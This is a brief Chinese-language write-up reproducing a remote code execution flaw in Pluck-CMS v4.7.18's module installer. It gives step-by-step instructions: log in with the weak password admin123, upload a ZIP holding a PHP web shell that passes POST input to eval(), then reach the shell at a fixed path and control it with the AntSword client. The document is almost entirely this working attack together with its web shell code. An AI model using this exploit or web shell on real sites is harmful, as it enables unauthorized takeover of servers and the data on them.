漏洞简介
Pluck-CMS v4.7.18 中的 /inc/modules_install.php 组件,攻击者可以通过上传一个精心制作的 ZIP 文件来执行任意代码。
漏洞复现
进入管理员登录页面:
弱口令admin123
进入系统。
构造恶意zip包:
1、创建一个test.php
文件,写入恶意代码。
test.php
<?php
eval($_POST['pass']);
phpinfo();
?>
2、将test.php
放入名称为hack
的文件夹中,再将hack
文件夹压缩为zip包。
上传恶意zip包:
上传成功后访问/data/modules/hack/test.php
:
phpinfo()成功执行,后续蚁剑连接即可。